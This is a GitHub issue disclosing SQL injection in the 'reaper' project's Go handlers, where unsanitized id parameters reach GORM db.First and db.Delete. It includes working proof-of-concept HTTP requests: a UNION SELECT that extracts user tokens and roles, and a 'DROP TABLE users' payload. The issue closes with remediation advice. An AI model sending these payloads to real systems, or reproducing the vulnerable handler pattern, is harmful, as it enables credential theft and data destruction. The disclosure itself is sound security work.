Skip to content

security: unsanitized input allows for SQL injection #195

@bradan-shea

Description

@bradan-shea

Summary

Hello! I have noticed that there are endpoints accepting unsanitized user input passed into primary key parameter of db.First() and db.Delete(), allowing attackers to perform SQL injection. The bug was noticed in multiple places:

func (h *Handler) GetSession(c *fiber.Ctx) error {
session := models.AgentSession{}
res := h.db.First(&session, c.Params("id"))

func (h *Handler) GetReport(c *fiber.Ctx) error {
report := models.Report{}
err := h.db.First(&report, c.Params("id")).Error

func (h *Handler) GetDomain(c *fiber.Ctx) error {
domain := models.Domain{}
res := h.db.First(&domain, c.Params("id"))

func (h *Handler) DeleteSession(c *fiber.Ctx) error {
session := models.AgentSession{}
res := h.db.Delete(&session, c.Params("id"))

func (h *Handler) DeleteReport(c *fiber.Ctx) error {
report := models.Report{}
res := h.db.Delete(&report, c.Params("id"))

func (h *Handler) DeleteDomain(c *fiber.Ctx) error {
domain := models.Domain{}
res := h.db.Delete(&domain, c.Params("id"))

The vulnerability can be used to both read and write to the database; with the latter being only possible using db.Delete() queries.

- bradan 🧙‍♂️

Page

https://github.com/ghostsecurity/reaper/tree/main/internal/handlers

Details

Proof-of-Concept

We have used the /api/scan/domains/{id} endpoint as a proof of concept. The other endpoints exhibiting the same pattern detailed above have not been tested. The example requests perform an SQL injection which obtains the id, name, token, and role fields of the user where id=2, and an SQL injection which drops the users table.

Get user info

Request

GET /api/scan/domains/1 AND project_id=0 UNION SELECT 0, null, "User Info", concat(id, ', ', name, ', ', token, ', ', role), null, null, null, null FROM users WHERE id=2 HTTP/1.1
Host: localhost:8000
User-Agent: bTesting
Accept: application/json
x-reaper-token: {token}

Response

{
  "id": 0,
  "project_id": 0,
  "project": {
    "id": 0,
    "name": "",
    "created_at": "0001-01-01T00:00:00Z",
    "updated_at": "0001-01-01T00:00:00Z"
  },
  "name": "User Info",
  "status": "2, ReaperAdmin, e47ad0171f212fa2a660a1860b76b9387d2105fe, admin",
  "host_count": 0,
  "last_scanned_at": null,
  "created_at": "0001-01-01T00:00:00Z",
  "updated_at": "0001-01-01T00:00:00Z"
}

Drop table

DELETE /api/scan/domains/1; DROP TABLE users;-- HTTP/1.1
Host: localhost:8000
User-Agent: bTesting
Accept: application/json
x-reaper-token: e47ad0171f212fa2a660a1860b76b9387d2105fe

Remediation

Follow GORM Security guidelines for best practices on how to handle and sanitize user input passed into the db.First() and db.Delete() functions, which recommends type checking when retrieving by primary keys, or using parameterization (Ref: Inline Condition).

Contact Email

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions